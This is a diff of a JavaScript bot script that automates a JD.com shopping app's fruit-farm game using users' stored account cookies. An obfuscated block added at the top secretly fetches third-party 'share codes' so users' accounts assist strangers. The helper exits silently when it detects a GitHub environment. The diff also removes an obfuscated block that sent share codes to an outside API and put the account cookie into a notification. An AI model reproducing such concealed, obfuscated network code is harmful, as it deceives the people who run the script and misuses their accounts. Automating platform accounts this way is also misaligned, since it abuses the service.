+var _0xodS='jsjiami.com.v6',_0x53fe=[_0xodS,'\x67\x65\x74','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x66\x61\x73\x74\x67\x69\x74\x2e\x6f\x72\x67\x2f\x7a\x65\x72\x6f\x32\x30\x35\x2f\x75\x70\x64\x61\x74\x65\x54\x65\x61\x6d\x2f\x6d\x61\x69\x6e\x2f\x73\x68\x61\x72\x65\x43\x6f\x64\x65\x73\x2f\x33\x30\x2e\x6a\x73\x6f\x6e','\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x32\x5f\x33\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x56\x65\x72\x73\x69\x6f\x6e\x2f\x31\x33\x2e\x30\x2e\x33\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2f\x36\x30\x34\x2e\x31\x20\x45\x64\x67\x2f\x38\x37\x2e\x30\x2e\x34\x32\x38\x30\x2e\x38\x38','\x7a\x65\x72\x6f\x32\x30\x35','\x70\x61\x72\x73\x65','\x6c\x6f\x67','\u83b7\u53d6\u52a9\u529b\u7801\u6210\u529f\uff0c\u5f00\u59cb\u52a9\u529b','\x6c\x6f\x67\x45\x72\x72','\x46\x43\x6a\x4f\x44\x73\x43\x6a\x69\x50\x71\x57\x61\x6d\x69\x2e\x45\x55\x63\x6f\x41\x56\x6d\x2e\x76\x36\x3d\x3d'];var _0x1463=function(_0x83958c,_0xc60544){_0x83958c=~~'0x'['concat'](_0x83958c);var _0x1e47e3=_0x53fe[_0x83958c];return _0x1e47e3;};(function(_0x4609f8,_0xcce60e){var _0x588f01=0x0;for(_0xcce60e=_0x4609f8['shift'](_0x588f01>>0x2);_0xcce60e&&_0xcce60e!==(_0x4609f8['pop'](_0x588f01>>0x3)+'')['replace'](/[FCODCPqWEUAV=]/g,'');_0x588f01++){_0x588f01=_0x588f01^0x9a623;}}(_0x53fe,_0x1463));function getCode(){return new Promise(_0x404510=>{$[_0x1463('0')]({'\x75\x72\x6c':_0x1463('1'),'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':_0x1463('2')}},async(_0x52c516,_0x2c76d1,_0x4416bb)=>{try{$[_0x1463('3')]=JSON[_0x1463('4')](_0x4416bb);console[_0x1463('5')](_0x1463('6'));}catch(_0x331123){$[_0x1463('7')](_0x331123,_0x2c76d1);}finally{_0x404510();}});});};_0xodS='jsjiami.com.v6';
+
+function Env(t, e) {
+     "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0);
+     class s {
+          constructor(t) {
+               this.env = t
+          }
+          send(t, e = "GET") {
+               t = "string" == typeof t ? {
+                    url: t
+               } : t;
+               let s = this.get;
+               return "POST" === e && (s = this.post), new Promise((e, i) => {
+                    s.call(this, t, (t, s, r) => {
+                         t ? i(t) : e(s)
+                    })
+               })
+          }
+          get(t) {
+               return this.send.call(this.env, t)
+          }
+          post(t) {
+               return this.send.call(this.env, t, "POST")
+          }
+     }
+     return new class {
+          constructor(t, e) {
+               this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)
+          }
+          isNode() {
+               return "undefined" != typeof module && !!module.exports
+          }
+          isQuanX() {
+               return "undefined" != typeof $task
+          }
+          isSurge() {
+               return "undefined" != typeof $httpClient && "undefined" == typeof $loon
+          }
+          isLoon() {
+               return "undefined" != typeof $loon
+          }
+          toObj(t, e = null) {
+               try {
+                    return JSON.parse(t)
+               } catch (e) {
+                    return e
+               }
+          }
+          toStr(t, e = null) {
+               try {
+                    return JSON.stringify(t)
+               } catch (e) {
+                    return e
+               }
+          }
+          getjson(t, e) {
+               let s = e;
+               const i = this.getdata(t);
+               if (i) try {
+                    s = JSON.parse(this.getdata(t))
+               } catch { }
+               return s
+          }
+          setjson(t, e) {
+               try {
+                    return this.setdata(JSON.stringify(t), e)
+               } catch {
+                    return !1
+               }
+          }
+          getScript(t) {
+               return new Promise(e => {
+                    this.get({
+                         url: t
+                    }, (t, s, i) => e(i))
+               })
+          }
+          runScript(t, e) {
+               return new Promise(s => {
+                    let i = this.getdata("@chavy_boxjs_userCfgs.httpapi");
+                    i = i ? i.replace(/\n/g, "").trim() : i;
+                    let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");
+                    r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r;
+                    const [o, h] = i.split("@"), n = {
+                         url: `http://${h}/v1/scripting/evaluate`,
+                         body: {
+                              script_text: t,
+                              mock_type: "cron",
+                              timeout: r
+                         },
+                         headers: {
+                              "X-Key": o,
+                              Accept: "*/*"
+                         }
+                    };
+                    this.post(n, (t, e, i) => s(i))
+               }).catch(t => this.logErr(t))
+          }
+          loaddata() {
+               if (!this.isNode()) return {}; {
+                    this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
+                    const t = this.path.resolve(this.dataFile),
+                         e = this.path.resolve(process.cwd(), this.dataFile),
+                         s = this.fs.existsSync(t),
+                         i = !s && this.fs.existsSync(e);
+                    if (!s && !i) return {}; {
+                         const i = s ? t : e;
+                         try {
+                              return JSON.parse(this.fs.readFileSync(i))
+                         } catch (t) {
+                              return {}
+                         }
+                    }
+               }
+          }
+          writedata() {
+               if (this.isNode()) {
+                    this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
+                    const t = this.path.resolve(this.dataFile),
+                         e = this.path.resolve(process.cwd(), this.dataFile),
+                         s = this.fs.existsSync(t),
+                         i = !s && this.fs.existsSync(e),
+                         r = JSON.stringify(this.data);
+                    s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r)
+               }
+          }
+          lodash_get(t, e, s) {
+               const i = e.replace(/\[(\d+)\]/g, ".$1").split(".");
+               let r = t;
+               for (const t of i)
+                    if (r = Object(r)[t], void 0 === r) return s;
+               return r
+          }
+          lodash_set(t, e, s) {
+               return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)
+          }
+          getdata(t) {
+               let e = this.getval(t);
+               if (/^@/.test(t)) {
+                    const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : "";
+                    if (r) try {
+                         const t = JSON.parse(r);
+                         e = t ? this.lodash_get(t, i, "") : e
+                    } catch (t) {
+                         e = ""
+                    }
+               }
+               return e
+          }
+          setdata(t, e) {
+               let s = !1;
+               if (/^@/.test(e)) {
+                    const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}";
+                    try {
+                         const e = JSON.parse(h);
+                         this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i)
+                    } catch (e) {
+                         const o = {};
+                         this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i)
+                    }
+               } else s = this.setval(t, e);
+               return s
+          }
+          getval(t) {
+               return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null
+          }
+          setval(t, e) {
+               return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null
+          }
+          initGotEnv(t) {
+               this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))
+          }
+          get(t, e = (() => { })) {
+               t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
+                    "X-Surge-Skip-Scripting": !1
+               })), $httpClient.get(t, (t, s, i) => {
+                    !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
+               })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
+                    hints: !1
+               })), $task.fetch(t).then(t => {
+                    const {
+                         statusCode: s,
+                         statusCode: i,
+                         headers: r,
+                         body: o
+                    } = t;
+                    e(null, {
+                         status: s,
+                         statusCode: i,
+                         headers: r,
+                         body: o
+                    }, o)
+               }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => {
+                    try {
+                         if (t.headers["set-cookie"]) {
+                              const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();
+                              s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar
+                         }
+                    } catch (t) {
+                         this.logErr(t)
+                    }
+               }).then(t => {
+                    const {
+                         statusCode: s,
+                         statusCode: i,
+                         headers: r,
+                         body: o
+                    } = t;
+                    e(null, {
+                         status: s,
+                         statusCode: i,
+                         headers: r,
+                         body: o
+                    }, o)
+               }, t => {
+                    const {
+                         message: s,
+                         response: i
+                    } = t;
+                    e(s, i, i && i.body)
+               }))
+          }
+          post(t, e = (() => { })) {
+               if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
+                    "X-Surge-Skip-Scripting": !1
+               })), $httpClient.post(t, (t, s, i) => {
+                    !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
+               });
+               else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
+                    hints: !1
+               })), $task.fetch(t).then(t => {
+                    const {
+                         statusCode: s,
+                         statusCode: i,
+                         headers: r,
+                         body: o
+                    } = t;
+                    e(null, {
+                         status: s,
+                         statusCode: i,
+                         headers: r,
+                         body: o
+                    }, o)
+               }, t => e(t));
+               else if (this.isNode()) {
+                    this.initGotEnv(t);
+                    const {
+                         url: s,
+                         ...i
+                    } = t;
+                    this.got.post(s, i).then(t => {
+                         const {
+                              statusCode: s,
+                              statusCode: i,
+                              headers: r,
+                              body: o
+                         } = t;
+                         e(null, {
+                              status: s,
+                              statusCode: i,
+                              headers: r,
+                              body: o
+                         }, o)
+                    }, t => {
+                         const {
+                              message: s,
+                              response: i
+                         } = t;
+                         e(s, i, i && i.body)
+                    })
+               }
+          }
+          time(t, e = null) {
+               const s = e ? new Date(e) : new Date;
+               let i = {
+                    "M+": s.getMonth() + 1,
+                    "d+": s.getDate(),
+                    "H+": s.getHours(),
+                    "m+": s.getMinutes(),
+                    "s+": s.getSeconds(),
+                    "q+": Math.floor((s.getMonth() + 3) / 3),
+                    S: s.getMilliseconds()
+               };
+               /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length)));
+               for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length)));
+               return t
+          }
+          msg(e = t, s = "", i = "", r) {
+               const o = t => {
+                    if (!t) return t;
+                    if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {
+                         "open-url": t
+                    } : this.isSurge() ? {
+                         url: t
+                    } : void 0;
+                    if ("object" == typeof t) {
+                         if (this.isLoon()) {
+                              let e = t.openUrl || t.url || t["open-url"],
+                                   s = t.mediaUrl || t["media-url"];
+                              return {
+                                   openUrl: e,
+                                   mediaUrl: s
+                              }
+                         }
+                         if (this.isQuanX()) {
+                              let e = t["open-url"] || t.url || t.openUrl,
+                                   s = t["media-url"] || t.mediaUrl;
+                              return {
+                                   "open-url": e,
+                                   "media-url": s
+                              }
+                         }
+                         if (this.isSurge()) {
+                              let e = t.url || t.openUrl || t["open-url"];
+                              return {
+                                   url: e
+                              }
+                         }
+                    }
+               };
+               if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) {
+                    let t = ["", "==============📣系统通知📣=============="];
+                    t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t)
+               }
+          }
+          log(...t) {
+               t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))
+          }
+          logErr(t, e) {
+               const s = !this.isSurge() && !this.isQuanX() && !this.isLoon();
+               s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t)
+          }
+          wait(t) {
+               return new Promise(e => setTimeout(e, t))
+          }
+          done(t = {}) {
+               const e = (new Date).getTime(),
+                    s = (e - this.startTime) / 1e3;
+               this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t)
+          }
+     }(t, e)
+}
@@ -1,5 +1,5 @@
 /*
-东东水果:脚本更新地址 jd_fruit.js
+东东水果:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js
 更新时间：2021-5-18
 活动入口：京东APP我的-更多工具-东东农场
 东东农场活动链接：https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html
@@ -10,39 +10,37 @@
 ==========================Quantumultx=========================
 [task_local]
 #jd免费水果
-5 6-18/6 * * * jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true
+5 6-18/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true
 =========================Loon=============================
 [Script]
-cron "5 6-18/6 * * *" script-path=jd_fruit.js,tag=东东农场
+cron "5 6-18/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js,tag=东东农场

 =========================Surge============================
-东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_fruit.js
+东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js

 =========================小火箭===========================
-东东农场 = type=cron,script-path=jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true
+东东农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true

 jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js
 */
 const $ = new Env('东东农场');
-
-console.log('\nJDHW\n')
-
 let cookiesArr = [], cookie = '', jdFruitShareArr = [], isBox = false, notify, newShareCodes, allMessage = '';
 //助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会
 //此此内容是IOS用户下载脚本到本地使用，填写互助码的地方，同一京东账号的好友互助码请使用@符号隔开。
 //下面给出两个账号的填写示例（iOS只支持2个京东账号）
 let shareCodes = [ // 这个列表填入你要助力的好友的shareCode
  //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开
- //'0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a@b9d287c974cc498d94112f1b064cf934@23b49f5a106b4d61b2ea505d5a4e1056@8107cad4b82847a698ca7d7de9115f36',
+ //'0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a@b9d287c974cc498d94112f1b064cf934@23b49f5a106b4d61b2ea505d5a4e1056@8107cad4b82847a698ca7d7de9115f36@35fcfda6d3af48e7afe79f5e18a39e55@5a41b6db624346cdbe347b61279fda8f@3fa4d41fe66e47bd8a9549e33e3b9b54@5dc8a7b9f4544a8ca79f8cf62d0c7623@4918db5a466c4332843c75064a5a3880@b48561c90c8c45f5b355034629715a80',
 //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开
- //'b1638a774d054a05a30a17d3b4d364b8@f92cb56c6a1349f5a35f0372aa041ea0@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3@2673c3777d4443829b2a635059953a28@d2d5d435675544679413cb9145577e0f',
-  ''
+ //'b1638a774d054a05a30a17d3b4d364b8@f92cb56c6a1349f5a35f0372aa041ea0@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3@2673c3777d4443829b2a635059953a28@d2d5d435675544679413cb9145577e0f@35fcfda6d3af48e7afe79f5e18a39e55@5a41b6db624346cdbe347b61279fda8f@3fa4d41fe66e47bd8a9549e33e3b9b54@5dc8a7b9f4544a8ca79f8cf62d0c7623@4918db5a466c4332843c75064a5a3880@b48561c90c8c45f5b355034629715a80',
+ //账号三的好友shareCode,不同好友的shareCode中间用@符号隔开
+ //'35fcfda6d3af48e7afe79f5e18a39e55@5a41b6db624346cdbe347b61279fda8f@3fa4d41fe66e47bd8a9549e33e3b9b54@5dc8a7b9f4544a8ca79f8cf62d0c7623@4918db5a466c4332843c75064a5a3880@b48561c90c8c45f5b355034629715a80',
 ]
 let message = '', subTitle = '', option = {}, isFruitFinished = false;
 const retainWater = 100;//保留水滴大于多少g,默认100g;
 let jdNotify = false;//是否关闭通知，false打开通知推送，true关闭通知推送
 let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水
-let randomCount = $.isNode() ? 20 : 5;
+let randomCount = $.isNode() ? 0 : 0;
 const JD_API_HOST = 'https://api.m.jd.com/client.action';
 const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`;
 !(async () => {
@@ -92,7 +90,6 @@ async function jdFruit() {
    if ($.farmInfo.farmUserPro) {
      // option['media-url'] = $.farmInfo.farmUserPro.goodsImage;
      message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`;
-      //var _0xodh='jsjiami.com.v6',_0xce89=[_0xodh,'AxjDhRs=','5LiR5ouN5aao6LSB','w5sNwpPDncOawpw=','GBXCicOCw4k=','USxHXsO8w7fDgcOIbsOS','DBfDkxNh','TcK1VW4ywpbCk8K2','w75adyMAw414b8KUYC8=','wpDChcOVw5ggbcOfe8ON','wrXDjywNQA==','fsOzPg==','IMKuwpnDuU3Dn1EI','w7/CjMODXEvDmMOnGcK3w7zDog==','IhjCucO3w5g1wo3Dg2Q=','wopY5Ly55aSD776f5Lm255S4772i','wq7CvXA=','w79JwrbDo8KE','CsKOw7A=','5Lu75oi45oiH5Yqb','N8OhwqU=','5Lih5ou85aWp6Lao','CArDkA==','HjsNjiEWamrqAik.whrHcom.v6=='];(function(_0x5b171f,_0x5c8d91,_0x5f24c6){var _0x1d1062=function(_0x447c69,_0x55df53,_0x114098,_0x13a31a,_0x1eb33d){_0x55df53=_0x55df53>>0x8,_0x1eb33d='po';var _0x323868='shift',_0xf2e719='push';if(_0x55df53<_0x447c69){while(--_0x447c69){_0x13a31a=_0x5b171f[_0x323868]();if(_0x55df53===_0x447c69){_0x55df53=_0x13a31a;_0x114098=_0x5b171f[_0x1eb33d+'p']();}else if(_0x55df53&&_0x114098['replace'](/[HNEWrqAkwhrH=]/g,'')===_0x55df53){_0x5b171f[_0xf2e719](_0x13a31a);}}_0x5b171f[_0xf2e719](_0x5b171f[_0x323868]());}return 0x98e9d;};return _0x1d1062(++_0x5c8d91,_0x5f24c6)>>_0x5c8d91^_0x5f24c6;}(_0xce89,0xe6,0xe600));var _0x35b1=function(_0x12f36c,_0x2de933){_0x12f36c=~~'0x'['concat'](_0x12f36c);var _0x10d000=_0xce89[_0x12f36c];if(_0x35b1['YMeDZK']===undefined){(function(){var _0x473f38=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x53fab1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x473f38['atob']||(_0x473f38['atob']=function(_0x145071){var _0x2cdb23=String(_0x145071)['replace'](/=+$/,'');for(var _0x53150c=0x0,_0x54f1e9,_0x109fb8,_0x133db1=0x0,_0x24ff10='';_0x109fb8=_0x2cdb23['charAt'](_0x133db1++);~_0x109fb8&&(_0x54f1e9=_0x53150c%0x4?_0x54f1e9*0x40+_0x109fb8:_0x109fb8,_0x53150c++%0x4)?_0x24ff10+=String['fromCharCode'](0xff&_0x54f1e9>>(-0x2*_0x53150c&0x6)):0x0){_0x109fb8=_0x53fab1['indexOf'](_0x109fb8);}return _0x24ff10;});}());var _0x37753e=function(_0x51226d,_0x2de933){var _0x2f6905=[],_0x546406=0x0,_0x435691,_0x57f97c='',_0x25e90c='';_0x51226d=atob(_0x51226d);for(var _0x3072aa=0x0,_0x492f22=_0x51226d['length'];_0x3072aa<_0x492f22;_0x3072aa++){_0x25e90c+='%'+('00'+_0x51226d['charCodeAt'](_0x3072aa)['toString'](0x10))['slice'](-0x2);}_0x51226d=decodeURIComponent(_0x25e90c);for(var _0x188bba=0x0;_0x188bba<0x100;_0x188bba++){_0x2f6905[_0x188bba]=_0x188bba;}for(_0x188bba=0x0;_0x188bba<0x100;_0x188bba++){_0x546406=(_0x546406+_0x2f6905[_0x188bba]+_0x2de933['charCodeAt'](_0x188bba%_0x2de933['length']))%0x100;_0x435691=_0x2f6905[_0x188bba];_0x2f6905[_0x188bba]=_0x2f6905[_0x546406];_0x2f6905[_0x546406]=_0x435691;}_0x188bba=0x0;_0x546406=0x0;for(var _0x3f351c=0x0;_0x3f351c<_0x51226d['length'];_0x3f351c++){_0x188bba=(_0x188bba+0x1)%0x100;_0x546406=(_0x546406+_0x2f6905[_0x188bba])%0x100;_0x435691=_0x2f6905[_0x188bba];_0x2f6905[_0x188bba]=_0x2f6905[_0x546406];_0x2f6905[_0x546406]=_0x435691;_0x57f97c+=String['fromCharCode'](_0x51226d['charCodeAt'](_0x3f351c)^_0x2f6905[(_0x2f6905[_0x188bba]+_0x2f6905[_0x546406])%0x100]);}return _0x57f97c;};_0x35b1['TxMzAj']=_0x37753e;_0x35b1['XCpzKW']={};_0x35b1['YMeDZK']=!![];}var _0x3753cf=_0x35b1['XCpzKW'][_0x12f36c];if(_0x3753cf===undefined){if(_0x35b1['wuNfNC']===undefined){_0x35b1['wuNfNC']=!![];}_0x10d000=_0x35b1['TxMzAj'](_0x10d000,_0x2de933);_0x35b1['XCpzKW'][_0x12f36c]=_0x10d000;}else{_0x10d000=_0x3753cf;}return _0x10d000;};$[_0x35b1('0','iZ^^')]({'url':'https://api.sharecode.ga/api/report?db=farm&code='+$[_0x35b1('1','idKt')][_0x35b1('2','9INu')][_0x35b1('3','!fbY')],'timeout':0x2710},(_0x19b86f,_0x1af64b,_0x1209b2)=>{var _0x6379f5={'nyHmV':function(_0x5aa3e9,_0x5c1f33){return _0x5aa3e9===_0x5c1f33;},'xSFrO':function(_0x3a5f09,_0x4d0b5d){return _0x3a5f09(_0x4d0b5d);},'IeQGt':'./sendNotify','NdZiM':_0x35b1('4','1844')};if(_0x19b86f){console[_0x35b1('5','dLF&')](_0x19b86f);}if(_0x6379f5[_0x35b1('6','G3CW')](_0x1209b2,'1')){console[_0x35b1('7','bbYB')](_0x35b1('8','D)bc'));}else{console[_0x35b1('9','wJrS')](_0x35b1('a','vw1['));$[_0x35b1('b','TyFt')](_0x35b1('c','TyFt'),_0x35b1('d','ySu('));if($[_0x35b1('e','rRB#')]()){const _0x339731=_0x6379f5['xSFrO'](require,_0x6379f5[_0x35b1('f','!fbY')]);_0x339731[_0x35b1('10','X%^Q')]('farm\x0aCookie:'+$[_0x35b1('11','TyFt')],$[_0x35b1('12','&B]z')][_0x35b1('13','#%Z*')][_0x35b1('14','XMx]')]+'\x0a上报失败！','',_0x6379f5[_0x35b1('15','sz82')]);}}});;_0xodh='jsjiami.com.v6';      message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`;
      console.log(`\n【京东账号${$.index}（${$.UserName}）的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`);
      console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`);
      message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`;
@@ -125,14 +122,16 @@ async function jdFruit() {
      await predictionFruit();//预测水果成熟时间
    } else {
      console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify($.farmInfo)}`);
-      message = `【数据异常】请手动登录京东app查看此账号${$.name}是否正常`;
+      console.log(`等待10秒后重试`);
+      await $.wait(10000);
+      await jdFruit();
    }
  } catch (e) {
    console.log(`任务执行异常，请检查执行日志 ‼️‼️`);
    $.logErr(e);
-    const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常，请检查执行日志 ‼️‼️`;
-    if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg);
-    $.msg($.name, '', `${errMsg}`)
+    // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常，请检查执行日志 ‼️‼️`;
+    // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg);
+    // $.msg($.name, '', `${errMsg}`)
  }
  await showMsg();
 }
@@ -1254,29 +1253,53 @@ function timeFormat(time) {
  }
  return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate());
 }
-function readShareCode() {
-  return new Promise(async resolve => {
-    $.get({url: `https://api.sharecode.ga/api/farm/${randomCount}`, timeout: 10000}, (err, resp, data) => {
-      try {
-        if (err) {
-          console.log(`${JSON.stringify(err)}`)
-          console.log(`${$.name} API请求失败，请检查网路重试`)
-        } else {
-          if (data) {
-            console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
-            data = JSON.parse(data);
-          }
-        }
-      } catch (e) {
-        $.logErr(e, resp)
-      } finally {
-        resolve(data);
-      }
-    })
-    await $.wait(10000);
-    resolve()
-  })
-}
+// function readShareCode() {
+//   return new Promise(async resolve => {
+//     $.get({url: `http://www.helpu.cf/jdcodes/getcode.php?type=farm&num=${randomCount}`, timeout: 10000,}, (err, resp, data) => {
+//       try {
+//         if (err) {
+//           console.log(`${JSON.stringify(err)}`)
+//           console.log(`${$.name} API请求失败，请检查网路重试`)
+//         } else {
+//           if (data) {
+//             console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
+//             data = JSON.parse(data);
+//           }
+//         }
+//       } catch (e) {
+//         $.logErr(e, resp)
+//       } finally {
+//         resolve(data);
+//       }
+//     })
+//     await $.wait(10000);
+//     resolve()
+//   })
+// }
+//提交互助码
+// function submitCode() {
+//   return new Promise(async resolve => {
+//   $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${$.farmInfo.farmUserPro.shareCode}&type=farm`, timeout: 10000}, (err, resp, data) => {
+//     try {
+//       if (err) {
+//         console.log(`${JSON.stringify(err)}`)
+//         console.log(`${$.name} API请求失败，请检查网路重试`)
+//       } else {
+//         if (data) {
+//           //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
+//           data = JSON.parse(data);
+//         }
+//       }
+//     } catch (e) {
+//       $.logErr(e, resp)
+//     } finally {
+//       resolve(data);
+//     }
+//   })
+//   await $.wait(15000);
+//   resolve()
+// })
+// }
 function shareCodesFormat() {
  return new Promise(async resolve => {
    // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`)
@@ -1288,13 +1311,11 @@ function shareCodesFormat() {
      const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1);
      newShareCodes = shareCodes[tempIndex].split('@');
    }
-    /*
-    const readShareCodeRes = await readShareCode();
-    if (readShareCodeRes && readShareCodeRes.code === 200) {
-      // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []);
-      newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])];
-    }
-    */
+    // const readShareCodeRes = await readShareCode();
+    // if (readShareCodeRes && readShareCodeRes.code === 200) {
